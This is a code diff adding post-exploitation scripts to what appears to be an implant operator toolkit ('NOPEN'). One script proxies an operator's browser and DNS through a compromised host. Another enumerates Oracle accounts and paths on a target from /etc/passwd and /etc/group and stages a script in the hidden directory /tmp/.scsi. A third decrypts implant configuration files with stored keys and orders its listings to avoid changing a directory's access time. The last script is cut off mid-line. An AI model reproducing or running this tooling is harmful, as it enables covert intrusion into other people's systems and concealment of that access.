continue. +my $ffrunning = `ps -e | egrep -c firefox`; +if ($ffrunning > 0) { + mydie("Firefox already running, Please close all running instances of Firefox and try again!"); +} + +my ($pitchip,$pitchport,$more) = (); +if (@pitchips == 1) { + $pitchip = $pitchips[0]; + $pitchport = $pitchports[0]; + $more = "\n (currently, your external pitchimpair IP:port is\n". + " $pitchip:$pitchport)\n"; +} +my $interfacemore = "\n (I see right now $interface is $localip)" + if $localip; +offerabort + ("You are about to use $nopen_rhostname as a web proxy.\n\n". + "A browser (firefox) will pop up when you continue. It is preconfigured\n". + "to use the NOPEN redirection (its proxy will be set to 127.0.0.1:$proxyport).\n". + "You also have the option of using your Windows ops station's browser\n". + "through this box as a proxy. You would need to:\n". + " 1) Point that box' DNS to this box; and\n". + " 2) Point that box' web proxy setting here at port 9000$interfacemore.\n". + "\n". + "$prog will be responsible for:\n\n". + " 1) DNS lookups, redirected through this NOPEN target, using\n". + " the target's DNS server (you'll be prompted for one if it has none)\n". + " 2) Tunnels: each distinct session (http://, https://, ftp://, etc.)\n". + " being redirected will get and use its own NOPEN -tunnel\n". + " (noproxy.pl adds/removes tunnels as needed via a -tunnel command\n". + " listening on a UDP port in this window).\n". + " 3) Adding DROP rules for port 80/443 while NOPROXY is running.\n". + " (more explanation here later...)$more\n". + "Close firefox (here) when done with $prog and all will revert back.". + "\n\n" + ); + +offerabort + ( + "With the current firewall settings (see fwrules.py -h), ports 80 and 443 are\n". + "normally allowed by default anywhere. When you continue, $prog will insert\n". + "DROP rules for 80 and 443 temporarily, so your browser does not accidentally\n". + "bypass NOPROXY. Those DROP rules will be removed when you exit your browser." + ); + +#my $fwrules = "$opbin/fwrules.py"; +#my $fwrulessaved = "$optmp/fwrules.$nopen_rhostname.".time(); +#progprint(`$fwrules -S $fwrulessaved 2>&1`. + #"\n\nJust saved current rules:\n". + #`ls -al $fwrulessaved` + #); + + +# This variable is sent to noproxy.pl, which adds the DNS tunnel for us +$remotedns = setupdns($remotedns); + +mydie("Cannot determine what remote DNS IP to use $remotedns") + unless ipcheck($remotedns); + +# Several children needed. This forks and returns immediately. +setupkids(); + +# Set up local firewall rules to block 80/443, first quietly delete any already there (if any). +progprint("BLOCKING port 80/443 outbound:\n\n". + `iptables -t filter -D OUTPUT -o eth0 -p tcp --dport 443 -j DROP 2>/dev/null`. + `iptables -t filter -D OUTPUT -o eth0 -p tcp --dport 443 -j DROP 2>/dev/null`. + "INSERTING: ".`iptables -t filter -v -I OUTPUT -o eth0 -p tcp --dport 443 -j DROP 2>&1`. + `iptables -t filter -D OUTPUT -o eth0 -p tcp --dport 80 -j DROP 2>/dev/null`. + `iptables -t filter -D OUTPUT -o eth0 -p tcp --dport 80 -j DROP 2>/dev/null`. + "INSERTING: ".`iptables -t filter -v -I OUTPUT -o eth0 -p tcp --dport 80 -j DROP 2>&1`. + `iptables -L -n -v | egrep "DROP.*(80|443)" 2>&1`. + ""); + +# set up tunnel (run -tunnel $notunnelport +doit("-tunnel $notunnelport udp"); + +# Delete DROP rules for 80/443 that we added. +progprint("DELETING port 80/443 DROP rules outbound:\n\n". + " DELETING: ".`iptables -t filter -v -D OUTPUT -o eth0 -p tcp --dport 443 -j DROP 2>&1`. + " DELETING: ".`iptables -t filter -v -D OUTPUT -o eth0 -p tcp --dport 80 -j DROP 2>&1`. + ""); + +# echo out "ready to go" with directions on how to quit (^C in popup +# C&C window) + +## END MAIN ## + +# SUBROUTINES + +# NEED: portpicker in noproxy.pl + +sub myinit { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs noproxy"; + $vertext = "$prog version $VER\n" ; + mymydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session when \"$prog\" or +\"=noproxy\" is used. + +"; + $proxylogfile = "$opdown/noproxy.$nopen_rhostname.log"; + preservefile($proxylogfile); + $interface = "eth1"; + ($localip) = `ifconfig $interface 2>/dev/null | grep inet.addr:` + =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + @pitchlines = split(/\n/,`didthis 2>/dev/null | grep noclient`); + foreach (@pitchlines) { + dbg("pitchline=$_"); + if (/noclient\s+(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}):(\d+)/) { + push(@pitchports,$2); + push(@pitchips,$1); + } + } + dbg("pitchports=(@pitchports)"); + + my ($sec,$min,$hr,$thismday,$thismonnum,$thisyear) = gmtime(); + $thisyear += 1900 if ($thisyear < 1900); + + my $usagemore="PITCHIMPAIR is now @pitchips:@pitchports" + if @pitchips; + $gsusagetext=" +Usage: $prog [options] + +$prog turns your NOPEN redirector into a web proxy for you. It will +use the redirector's /etc/resolv.conf to determine what (remote) DNS +server to use. + +If the local environment variable USERAGENT is set, either via an +exported local variable in that scripted window prior to running any +noclients or via -lsetenv just before $prog, the content of it will +be used as the useragent string (and will override any -U setting on +the command line). + +$usagemore + +OPTIONS + -h Show this help + -v Show version + -D IP Remote DNS server to use (defaults as described above) + -U string Replace your client useragent string with this one, + e.g. \"Mozilla/1.0\". Or use -lsetenv USERAGENT + prior to running $prog: + + -lsetenv USERAGENT=Some string with no quotes any characters + + -W list Comma delimited list of \"IP/prefix\" entries + (use /32 for one host) + +Usage: $prog [options] + +"; + my $Uarg = ""; + my @newarg=(); + # Die here if $gsoptions contains just an odd number of \". + my $testquotes = $gsoptions; + $testquotes =~ s/[^\"]//g; + my $odd = int(length $testquotes) % 2; + mydie("Mismatched quotes on command line: $gsoptions") + if ($odd); + if ($ENV{USERAGENT}) { + $Uarg = $ENV{USERAGENT}; + } elsif ($gsoptions =~ /-(\S*)U\s*\"(.*)\"/) { + $Uarg = $2; + my $otherargs = $1; + my ($testUarg,$openquote) = (); + for (my $i=0;$i<@ARGV;$i++) { + if ($openquote) { + if ($ARGV[$i] =~ /(.*)\"/) { + $testUarg .= " $1"; +# undef $ARGV[$i]; + $ARGV[$i] = ""; + $openquote=0; + next; + } else { + $testUarg .= " $ARGV[$i]"; +# undef $ARGV[$i]; + $ARGV[$i] = ""; + next; + } + } + if ($ARGV[$i] =~ /-${otherargs}U\s*(\S*)/) { + my $more = $1; + unless (length $more) { + $more = $ARGV[$i+1]; + $ARGV[$i+1] = ""; + } + if ($more =~ /\"(.*)/) { + $openquote=1; + $testUarg .= $1; + } else { + # Our -U has no quotes, good to use as is + dbg("THIS IS HUGE PROBLEM SHOULD NOT GET HERE PROCEEDING ANYWAY"); + last; + } + if ($otherargs) { + $ARGV[$i] = "-$otherargs"; + } else { + $ARGV[$i] = ""; + } + } + push(@newarg,$ARGV[$i]) if length $ARGV[$i]; + } + @ARGV=@newarg; + } + mymydie("bad option(s)") if (! Getopts( "hvD:W:U:" ) ) ; + $opt_U = $Uarg if (length $Uarg) ; + $useragent = $opt_U; + $whitelist = $opt_W; + $noproxyargs .= " -U \"$useragent\"" if $useragent; + $noproxyargs .= " -W $whitelist" if $whitelist; + $ffprofile = "$opbin/noproxy.profile"; + $remotedns = $opt_D; + $notunnelport = 38883 ; + $proxyport = 9000; + usage() if ($opt_h or $opt_v) ; + + mymydie("-W $whitelist: Cannot have whitespace in whitelist") + if ($whitelist =~ /\s/); + + mymydie("-D $opt_D is not valid") + unless (!$remotedns or ipcheck($remotedns)); + + # Remove old $opbin/noproxy.profile if need be, then unpack + # $opbin/noproxy.profile.tar.bz2: Fresh start every time. + my ($rmerr,$rmmore,$reuse) = (); + if (-d $ffprofile) { + my ($ans) = mygetinput + ( + "-gs noproxy has already been used once.\n\n". + $COLOR_FAILURE."\n".`ls -aldc $ffprofile`."\n".$COLOR_NORMAL. + "Do you want to euse your profile from that previous run, or\n". + " lear the old and start with a fresh one, or\n". + " bort\n\n". + "Enter one of [C,r,a]:","C","R","A" + + ); + mydie("User aborted") if ($ans eq "a"); + if ($ans eq "r") { + $reuse++; + } else { + $rmerr = `rm -rf $ffprofile 2>&1` ; + $rmmore = "Wiping old noproxy.profile and\n"; + if (-d "$ffprofile") { + mymydie("Error deleting $ffprofile:\n\n$rmerr"); + } + } + } + unless ($reuse) { + progprint(".\n".$rmerr. + $rmmore. + "Unpacking a fresh $ffprofile for this run..." + ); + $rmerr = `cd $opbin ; echo cd $opbin ; tar xvjf noproxy.profile.tar.bz2 2>&1`; + mymydie("$rmerr\n\nError above untarring $ffprofile.tar.bz2") + if $rmerr =~ /error/i; + } + mymydie("Firefox profile directory $ffprofile/ must exist to continue") + unless -d $ffprofile; + + + + # Set aside old HTTP/ directory in case we want it later + opendir(PERLDIR,"/usr/lib/perl5/vendor_perl") + or mymydie("Something wrong here: cannot opendir /usr/lib/perl5/vendor_perl: $!"); + my @perlversions = sort readdir PERLDIR; + closedir(PERLDIR); + my $maxperlversion = ""; + foreach my $ver (@perlversions) { + $maxperlversion = $ver + if ((verval($ver))[1] > (verval($maxperlversion))[1]); + } + my $httpdir = "/usr/lib/perl5/vendor_perl/$maxperlversion/HTTP" ; + unless(!(-d $httpdir) or + (-s "$httpdir.orig.tar.bz2")) { + progprint("Backing up original $httpdir:\n". + "tar cvjf $httpdir.orig.tar.bz2 $httpdir\n". + `tar cvjf $httpdir.orig.tar.bz2 $httpdir 2>&1` + ); + } + progprint("Putting latest HTTP/Proxy\n". + "in place from $opbin/noproxy/HTTP/:\n". + "cp -prv $opbin/noproxy/HTTP/* $httpdir\n". + `cp -prv $opbin/noproxy/HTTP/* $httpdir ; chown -R 0.0 $httpdir 2>&1` + ); + chomp(my $noproxyversion = `noproxy.pl -v 2>&1 | grep -i "noproxy.*v\."`); +dbg("nopv=$noproxyversion"); + mymydie("noproxy.pl must be in path") + unless $noproxyversion; + $socket = pilotstart(quiet); + + my @noproxytest = split(/\n/,`whl firefox`); + if (@noproxytest > 1) { + my ($usethisone,$firstone,$newestepoch,$hr,$min) = (); + foreach my $ls (@noproxytest) { + my ($size,$monstr,$mday,$yr,$path) = $ls =~ + m,(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d+)\s+(/.*),; + my $monnum = $nummon{$monstr}; + unless($yr) { + ($size,$monstr,$hr,$min,$path) = $ls =~ + m,(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d\d):(\d\d)\s+(/.*),; + $yr = $thisyear; + if ($monnum = $nummon{$monstr}) { # this is 0 based for month like gmtime is + $yr-- if ($monnum > $thismonnum); + } + } + next unless $path; + $firstone = $path unless ($firstone); + if ($monstr and $yr and $path) { + my $epoch = Time::Local::timegm(0,$min,$hr,$mday,$monnum,$yr); + next unless $epoch > $newestepoch; + $usethisone = $path; + $newestepoch = $epoch; + } + } + unless (!$usethisone or $usethisone eq $firstone) { + my $rmoutput = ""; + foreach my $ls (@noproxytest) { + my ($size,$monstr,$mday,$yr,$path) = $ls =~ + m,(\d+)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+(\d+)\s+(\d+)\s+(/.*),; + next if ($path eq $usethisone); + $rmoutput = `rm -fv $path`; + } + my @noproxytestafter = split(/\n/,`whl firefox`); + my ($binary,$an,$s,$S) = ("binary"," an"); + ($binary,$s,$S,$an) = ("binaries","s","S","") + if (@noproxytest - @noproxytestafter > 1); + offerabort + ($COLOR_FAILURE."\n\n". + "NOTE: This station had$an old firefox $binary in our PATH, so all but\n". + " the newest one will be deleted. BEFPRE DELETE$S:\n\n ". + join("\n ",@noproxytest)."\n\n". + "That has been resolved by removing the older one$s. AFTER DELETE$S:\n\n". + join("\n ",@noproxytestafter)."\n\n". + "This station will be fine from now on." + ); + } + } +} #myinit + +sub setupdns { + local ($myremotedns) = (@_); + # Use remote resolv.conf, set ours aside first + if (open(RESOLV,"/etc/resolv.conf")) { + my @content = ; + close(RESOLV); + unless("@content" eq "nameserver 127.0.0.1\n") { + preservefile("/etc/resolv.conf.noproxy"); + rename("/etc/resolv.conf","/etc/resolv.conf.noproxy"); + } + } + close(RESOLV); + + # Our DNS points to loopback throughout + open(RESOLV,">/etc/resolv.conf") + or mymydie("Cannot write to our local /etc/resolv.conf"); + print RESOLV "nameserver 127.0.0.1\n"; + close(RESOLV); + + my ($targetresolv, $remotednsname, $dnswarnings,) = (); + unless ($myremotedns) { + doit("-get /etc/resolv.conf") + unless (-e "$opdown/$nopen_rhostname/etc/resolv.conf"); + + open(RESOLVIN,"$opdown/$nopen_rhostname/etc/resolv.conf") + or mydie("Cannot open $opdown/$nopen_rhostname/etc/resolv.conf"); + +dbg("Remote resolv.conf has:"); + while () { +dbg($_); + $targetresolv .= $_; + my ($dnsip) = /^\s*nameserver\s+(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + # Remote guy's loopback is no good for OUR side's DNS server + next if $dnsip eq "127.0.0.1"; + my ($dnsname) = (); + ($dnsname) = /^\s*nameserver\s+(\S+)/ + unless $dnsip; + next if $dnsname =~ /^localhost.*/; + if ($dnsip) { + if ($myremotedns) { + # Use first only, skip others but warn about them + $dnswarnings .= " $dnsip\n"; + } else { + $myremotedns = $dnsip; + } + } elsif ($dnsname) { + if ($remotednsname) { + # Use first only, skip others but warn about them + $dnswarnings .= " $dnsname\n"; + } else { + $remotednsname = $1; + } + } + } + close(RESOLVIN); + } + if ($remotednsname and !$myremotedns) { + # Look up remote DNS server name remotely when we have no IP yet + my ($output,$nopenlines,@output) = doit("-nslookup $remotednsname"); + my (@hits) = grep /Address:\s*\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/, + @output; + unless (@hits) { + # -nslookup sometimes fails, use target nslookup + my ($output,$nopenlines,@output) = doit("nslookup $remotednsname"); + (@hits) = grep /Address:\s*\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/, + @output; + } + if (@hits) { + ($myremotedns) = $hits[0] =~ + /Address:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + } + if ($dnswarnings or !$myremotedns) { + my $localwarning = ""; + while (1) { + my ($prompt) = + ("\n\n$targetresolv\n\n". + $localwarning. + "Target has no DNS servers (resolv.conf, if any, shown above).\n". + "Pick one of your own:","4.2.2.2" + ); + if ($dnswarnings) { + ($prompt) = + ("\n\n$targetresolv\n\n". + $localwarning. + "Target has multiple DNS servers, shown above.\n". + "Pick one:",$myremotedns + ); + } + my ($ans,$longans) =offerabort + ($prompt,$myremotedns); + if (ipcheck($longans)) { + $myremotedns = $longans; + last; + } else { + $localwarning = "${COLOR_FAILURE}INVALID IP: $longans\n$COLOR_NORMAL\n"; + } + } + } + } +#OOPS: This makes no sense here DNS is not setup until noproxy.pl runs +# my ($ans,$host) = mygetinput +# ("Enter DNS query to make remotely to check if DNS is set up\n". +# "correctly through $nopen_rhostname\n". +# "(enter \"NONE\" to skip this):", +# "google.com"); +# unless ($host eq "NONE") { +# my $result = `nslookup $host 2>&1`; +# offerabort +# ("DNS results of nslookup $host:\n".$result."\n\n". +# "Continue if that looks right."); +# } + return $myremotedns; +} + +sub setupkids { + my $noproxy_perl = "noproxy.pl $noproxyargs -F $proxylogfile -i 127.0.0.1 -p $notunnelport -r $proxyport -d $remotedns"; + progprint + (".\n\n".$COLOR_FAILURE."\n". + "LOCAL DNS RESOLUTION NOW GOES THROUGH REMOTE END TO $remotedns.\n". + "Pastable to use in any NOPEN window to locally test if it works:\n\n". + " -lsh nslookup google.com". + ".\n\n". + $COLOR_NOTE. + "RUNNING as BACKGROUND PROCESS:\n\n\t". + $COLOR_NORMAL. + "$noproxy_perl". + $COLOR_NOTE."\n\n". + "RUNNING as BACKGROUND PROCESS (it will pop up and\n". + "use noproxy.pl as its proxy):\n\n\t". + $COLOR_NORMAL. + "firefox -profile $opbin/noproxy.profile/\n\n". + $COLOR_NOTE. + "This window will handle -tunnels until you close the browser.\n\n". + "Use File->New Window or Ctrl-N or Ctrl-T to get additional windows\n". + "or tabs in that browser that are also proxied." + ); + return unless fork(); + + sleep 1; + + # Close file descriptors (they tie up NOPEN client) + close(STDIN); + close(STDOUT); + close(STDERR); + close($socket); + # daemonize this child after closing above + fork() and exit; + + # ASSERT: No more comms with user for these kids. dbg() will still + # write out to /current/tmp/dammit. + + # next child, start noproxy.pl + unless ($proxypid = fork()) { + # Fork, wait until $notunnelport port is there, then start actual + # local perl proxy script. + my $maxsleep = 61; + while ($maxsleep-- > 0) { + sleep 1; + my @test = grep /^\sudp 0 0 0.0.0.0:38883/, + `netstat -an`; + last unless @test; + } + sleep 1; + # TODO: Maybe offer -gs noproxy options for: -H -t -s40000 -e60000 + dbg("EXECING: $noproxy_perl"); +# dbg(`noproxy.pl $noproxyargs -F $proxylogfile -i 127.0.0.1 -p $notunnelport -r $proxyport -d $remotedns 2>&1 | tee -a $optmp/noproxy.pl.output`); + exec("$noproxy_perl"); + exit; + } + + # next child, monitor/accept kill signals and act in a popup C&C window + #NOT DONE YET + + # next child, start browser for them with profile + # When browser exits, undo everything and exit + unless(fork()) { + system("firefox -profile $ffprofile/"); + # When that exits, they are done so we shut down -tunnel + undostuff(); + mydie("Done with $prog"); + } + + # Any of those that might return, it must stop here + exit ; +} + +sub undostuff { + # Close tunnels, quit -tunnel on $notunnelport + `closetunnel $notunnelport`; + dbg("Sending kill(TERM,\$proxypid); if \$proxypid=$proxypid > 0"); + + kill(TERM,$proxypid) if $proxypid > 0; + dbg("Putting resolv.conf back:\n".`ls -al /etc/resolv*`); + rename("/etc/resolv.conf.noproxy","/etc/resolv.conf") + if -f "/etc/resolv.conf.noproxy"; +} +sub mymydie { + undostuff() if $socket; + mydie(@_); +} + + diff --git a/Linux/etc/autooracle b/Linux/etc/autooracle new file mode 100755 index 0000000..1802339 --- /dev/null +++ b/Linux/etc/autooracle @@ -0,0 +1,253 @@ +#!/usr/bin/env python + +import os +import re +import sys +import time +import shlex +import os.path +import traceback + +import autoutils +from autoutils import COLOR +from autoutils import OptParser + +VERSION = '1.0.0.7' + +class autooracle: + + def __init__(self): + + self.nopen = autoutils.autoutils() + self.parser = self.get_arg_parser() + self.options = None + self.version = VERSION + self.env = {} + + self.doprint = self.nopen.doprint + + return + + + def getIDs(self, user=None, group=None): + + if not user: + user = 'oracle' + if not group: + group = 'dba' + + output,nopenlines,outputlines = self.nopen.doit("-lt /etc/passwd") + if len(outputlines) == 0: + print "Unable to locate /etc/passwd. Can not continue" + return False + + output,nopenlines,outputlines = self.nopen.doit("egrep \"^%s:\" /etc/passwd | awk -F: '{print $3\":\"$6;}'" % user) + if len(outputlines) == 0: + print "Unable to locate UID for user %s" % user + return False + + self.env["uid"],self.env["home"] = output.split(":") + + output,nopenlines,outputlines = self.nopen.doit("egrep \"^%s:\" /etc/group | awk -F: '{print $3;}'" % group) + if len(outputlines) == 0: + print "Unable to locate GID for %s group" % group + return False + + self.env["gid"] = output + + return True + + + def findPmon(self): + + output,nopenlines,outputlines = self.nopen.doit('ps -ef | egrep \"ora_pmon|xe_pmon\" | grep -v "grep"') + if len(outputlines) == 0: + print "Can not locate pmon process" + return False + + self.env["ora_pmon_sid"] = output.split(" ")[0] + + return True + + + def findOracleHome(self, home=None, base=None, sid=None): + + if "home" in self.env: + var = self.env["home"] + grepvars = [] + + if not home: + grepvars.append('ORACLE_HOME') + else: + self.env['oracle_home'] = home + + if not base: + grepvars.append('ORACLE_BASE') + else: + self.env['oracle_base'] = base + + if not sid: + grepvars.append('ORACLE_SID') + else: + self.env['oracle_sid'] = sid + + grepvars = '|'.join(grepvars) + + if grepvars != '': + output,nopenlines,outputlines = self.nopen.doit( + 'egrep -h "%s" %s/.cshrc %s/.profile %s/.bash_profile %s/.bashrc' % \ + (grepvars, var, var, var, var)) + + if len(outputlines) == 0: + print "Can not locate ORACLE variables in %s" % self.env["home"] + return False + + regx = re.compile('^\s*(export\s+)?(%s)=([^;]+).*$' % grepvars) + + for line in outputlines: + ret = regx.match(line.strip()) + + if ret != None: + key = ret.group(2) + val = ret.group(3) + + if key in ['ORACLE_HOME', 'ORACLE_BASE', 'ORACLE_SID']: + key = key.lower() + if not self.env.has_key(key): + self.env[key] = val + + if self.env.has_key('oracle_home') and self.env.has_key('oracle_base') and self.env.has_key('oracle_sid'): + if self.env['oracle_home'].find('$ORACLE_BASE') != -1: + print 'REPLACING: $ORACLE_BASE => %s' % self.env['oracle_base'] + print 'Old value: ORACLE_HOME=%s' % self.env['oracle_home'] + self.env['oracle_home'] = re.sub('\$ORACLE_BASE', self.env['oracle_base'], self.env['oracle_home']) + print 'New value: ORACLE_HOME=%s' % self.env['oracle_home'] + + return True + else: + print "Unable to find all variables" + return False + + else: + return False + + return + + + def replace(self): + + print "Reading in opscript" + f = open("/current/etc/oracle/opscript",'r') + inputData = f.read() + f.close() + + inputData = re.sub("\$HOMEDIR", self.env["home"], inputData) + inputData = re.sub("\$HOSTNAME", self.nopen.nopen_rhostname.split(".")[0], inputData) + inputData = re.sub("\$ORACLEBASEDIR", self.env["oracle_base"], inputData) + inputData = re.sub("\$ORACLE_BASE", self.env["oracle_base"], inputData) + inputData = re.sub("\$ORACLEHOMEDIR", self.env["oracle_home"], inputData) + inputData = re.sub("\$ORACLE_HOME", self.env["oracle_home"], inputData) + inputData = re.sub("\$UID", self.env["uid"], inputData) + inputData = re.sub("\$GID", self.env["gid"], inputData) + inputData = re.sub("\$HOST_IPADDRESS", self.nopen.nopen_rhostname, inputData) + inputData = re.sub("\$ORACLESID", self.env["oracle_sid"], inputData) + inputData = re.sub("\$TMPDIR", self.options.dir, inputData) + + if os.path.exists("/current/up/oracle/%s_opscript" % self.env["oracle_sid"]): + os.remove("/current/up/oracle/%s_opscript" % self.env["oracle_sid"]) + + f = open("/current/up/oracle/%s_opscript" % self.env["oracle_sid"],'w') + f.write(inputData) + f.close() + + print self.env["oracle_base"] + print self.env["oracle_home"] + + print "Data written to /current/up/oracle/%s_opscript" % self.env["oracle_sid"] + + return True + + + def main(self, argv): + + prog = sys.argv[0] + argv = argv[1:] + + self.options, args = self.nopen.parseArgs(self.parser, argv) + + if not self.nopen.connected: + self.nopen.connect() + + if self.options.v: + self.print_version(prog) + return True + + if not self.options.dir: + self.options.dir = '/tmp/.scsi' + + if not self.getIDs(self.options.user, self.options.grp): + return False + + if not self.findOracleHome(self.options.ohome, self.options.obase, + self.options.osid): + return False + + if not self.findPmon(): + return False + + #Pass mkopfiles the variables needed + #ORACLE_SID, CURRENT_MONTH, YEAR, HOSTNAME (short) + year = time.strftime("%Y",time.localtime()) + month = time.strftime("%b",time.localtime()).upper() + short = self.nopen.nopen_rhostname.split(".")[0] + + if os.path.exists("/current/up/oracle"): + os.system("rm -f /current/up/oracle/*") + + self.nopen.doit("-lsh /current/etc/oracle/mkopfiles.sh %s %s %s %s" % (self.env["oracle_sid"], year, month, short)) + + self.replace() + + self.nopen.doit("-lsh 1x -title -popup -geometry 112x60-0+0 -e 'view /current/up/oracle/*_opscript'") + + return + + + def get_arg_parser(self): + + parser = OptParser(usage='usage: -gs oracle', epilog='\n-gs oracle version %s\n' % VERSION) + parser.add_option('-v', dest='v', action='store_true', help='Show version and exit.') + parser.add_option('-d', dest='dir', metavar='DIR', help='Temporary directory to use (default: /tmp/.scsi)') + parser.add_option('-u', dest='user', metavar='USER', help='Manually set the oracle user to use (default: oracle)') + parser.add_option('-g', dest='grp', metavar='USER', help='Manually set the oracle group to use (default: dba)') + parser.add_option('--oracle-sid', dest='osid', metavar='ORACLE_SID', help='Manually set $ORACLE_SID.') + parser.add_option('--oracle-home', dest='ohome', metavar='ORACLE_HOME', help='Manually set $ORACLE_HOME.') + parser.add_option('--oracle-base', dest='obase', metavar='ORACLE_BASE', help='Manually set $ORACLE_BASE.') + + return parser + + + def print_version(self, prog): + + script_name = os.path.basename(prog) + + if script_name.startswith('auto'): + script_name = script_name.split('auto', 1)[1] + + self.doprint('-gs %s version %s' % (script_name, self.version)) + + +if __name__ == '__main__': + + imported = False + + try: + # re-set the argv b/c NOPEN will do weird things with splitting args + argv = shlex.split(' '.join(sys.argv)) + autooracle().main(argv) + except Exception, e: + print '\n\n%sUnhandled python exception: %s%s\n\n' % \ + (COLOR['bad'], str(e), COLOR['normal']) + print '%sStack trace:\n' % COLOR['fail'] + traceback.print_exc() + print COLOR['normal'] diff --git a/Linux/etc/autoorcheck b/Linux/etc/autoorcheck new file mode 100755 index 0000000..46d1c66 --- /dev/null +++ b/Linux/etc/autoorcheck @@ -0,0 +1,282 @@ +#!/usr/bin/env perl +#use File::Basename qw(basename dirname); +use File::Basename ; +## +#TODO: use itime if available? +$VER="1.8.2.3" ; +myinit() ; +# we -ls these in this order so the $upfile ls does not "access" the $updir atime +($output,$nopenlines,@output) = doit("-ls -nd $updir $upfile"); +if ($output[1] =~ m,$upfile$, and + $output[0] =~ m,$updir$,) { + # Need these in reverse order + @touchlines = ($output[1],$output[0]); +} elsif (!($calledviarequire)) { + mydie("Invalid format of previous -ls -nd line...cannot continue.\n". + "Is $KEYNAME even there?"); +} else { + progprint("${COLOR_NOTE}Invalid format of previous -ls -nd line...cannot continue.\n${COLOR_NORMAL}Is $KEYNAME even there?"); + $skiprest=1; +} + +doorcheck() unless $skiprest; + +sub doorcheck { +doit("-get -q $upfile",@touchlines); +@keyfiles = split(/\n/,`find $opbin/varkeys -type f 2>/dev/null | grep "/$nopen_hostonly.*_$nopen_ip\/.*$keyname"`); +unless (@keyfiles) { + # None yet, maybe look by IP? + @keyfiles = split(/\n/,`find $opbin/varkeys -type f 2>/dev/null | grep _$nopen_ip\/.*$keyname`); +} +unless (@keyfiles) { + # None yet, maybe look by hostname? Could find too many so don't bother doing + # if we found one via the IP. + @keyfiles = split(/\n/,`find $opbin/varkeys -type f 2>/dev/null | grep "/$nopen_hostonly.*\/.*$keyname"`) + if $nopen_hostonly; +} +push(@keyfiles,"$opup/.keys") if (-e "$opup/.keys") ; +unless ($overridekeystr) { + foreach $keyfile (@keyfiles) { + next unless (open(KEYIN,"< $keyfile")) ; + my $gotkey = 0 ; + $header = "" ; + while () { + if ($keyfile eq "$opup/.keys") { + $gotkey++ if (/$KEYNAME/) ; + next unless $gotkey; + $header .= $_ ; + next unless (/^([\da-f]+ [\da-f]+ [\da-f]+)/) ; + $keystr = $1 ; + last ; + } else { + $header .= $_ ; + next if /^\s*\#/ ; + next unless /$cvtag=\"([\da-f]+ [\da-f]+ [\da-f]+)\"/i ; + $keystr = $1 ; + } + } + close(KEYIN); + chomp($header) ; + $header{$keystr} .= $header ; + $keyfile{$keystr} .= "\nAND ALSO\n" if $keyfile{$keystr} ; + $keyfile{$keystr} .= $keyfile ; + } + progprint("++++++++++No $type keys found in ../bin/varkeys for $nopen_rhostname or $opup/.keys",$COLOR_FAILURE) + unless (keys %header) ; +} else { + $header{$overridekeystr} = "\nkey manually input: $keystr\n"; +} +my $justconfig = "-name $configfile" if ($editalso or $ignoreold) ; +@configfiles = split(/\n/,`find $opdown/$nopen_rhostname -type f $justconfig 2>/dev/null | grep $configfile`); +if (! @configfiles) { + mydie("++++++++++No $configfile files found in ../down/$nopen_rhostname"); +} +my $outfirst = "" ; +my $outlast = "" ; +my $goodresult = "" ; +my $mostrecentresult = "" ; +foreach $configfile (@configfiles) { + my $configname = basename $configfile; + my $output = "" ; + my ($uniqsum) = (split(/\s+/,`sum $configfile`))[0] ; + # Skip this file if same content already done + next if ($doneit{$uniqsum}++) ; + my $mostrecent = !($configfile =~ /\d{3}$/) ; + foreach $keystr (keys %header) { + $result = `$encr -d -c $keystr -i $configfile |tee /tmp/$configname`; + chomp(my $asciitest = `file /tmp/$configname | grep -il ascii`) ; + unlink("/tmp/$configfile"); + $output .= "+\n\n++++++++++KEYFILE:\n$keyfile{$keystr}:$COLOR_NOTE\n$header{$keystr}"; + if ($result =~ /ERROR : not ascii/ or !$asciitest) { + $result = "" ; + $output .= "$COLOR_FAILURE\n++++++++++FAILS\a" ; + $colon = ""; + } else { + $output .= "$COLOR_SUCCESS\n++++++++++WORKS" ; + $colon = ":"; + print OUT2 "$keystr\n" if (open(OUT2,"> $opup/.keystr.$nopen_rhostname")) ; + close(OUT2); + } + $output .= "$COLOR_NORMAL on$COLOR_NOTE $configfile$colon\n\n$COLOR_NORMAL"; + if ($result) { + $output .= "==========\n${result}==========\n$COLOR_NORMAL"; + # $goodresult ends up the final .### one that works + $goodresult = $result ; + $mostrecentresult = $result if $mostrecent ; + } + } + if ($mostrecent) { + $outlast .= $output ; + } else { + $outfirst .= $output ; + } +}#foreach $configfile +if ($goodresult) { + if (open(OUT2,"> $opdown/$configfile.txt.$nopen_rhostname")) { + print OUT2 $goodresult ; + close(OUT2) ; + progprint($outfirst. + $outlast. + "${COLOR_FAILURE}\n\n". + "Edit it using the popped up \"vi\" window, then save and exit.\n". + "$COLOR_NORMAL") + if $editalso; + } else { + mydie("Unable to open > $opdown/$configfile.txt.$nopen_rhostname"); + } +} +# We print and die unless we are also editing +unless ($editalso) { + progprint($outfirst . $outlast) ; + return 1; +} +if (! -e "$opup/.keystr.$nopen_rhostname") { + mydie("Cannot proceed with edit--no valid key found during second pass of $prog"); +} elsif (open(KEYIN,"< $opup/.keystr.$nopen_rhostname")) { + chomp($keystr = ) ; + close(KEYIN) ; +} else { + mydie("Cannot read key (which just worked) from $opup/.keystr.$nopen_rhostname"); +} +chomp($presum = `sum $opdown/$configfile.txt.$nopen_rhostname`) ; +system("xterm -geometry 142x27+335+0 -title \"$configfile.txt.$nopen_rhostname editor\" -e 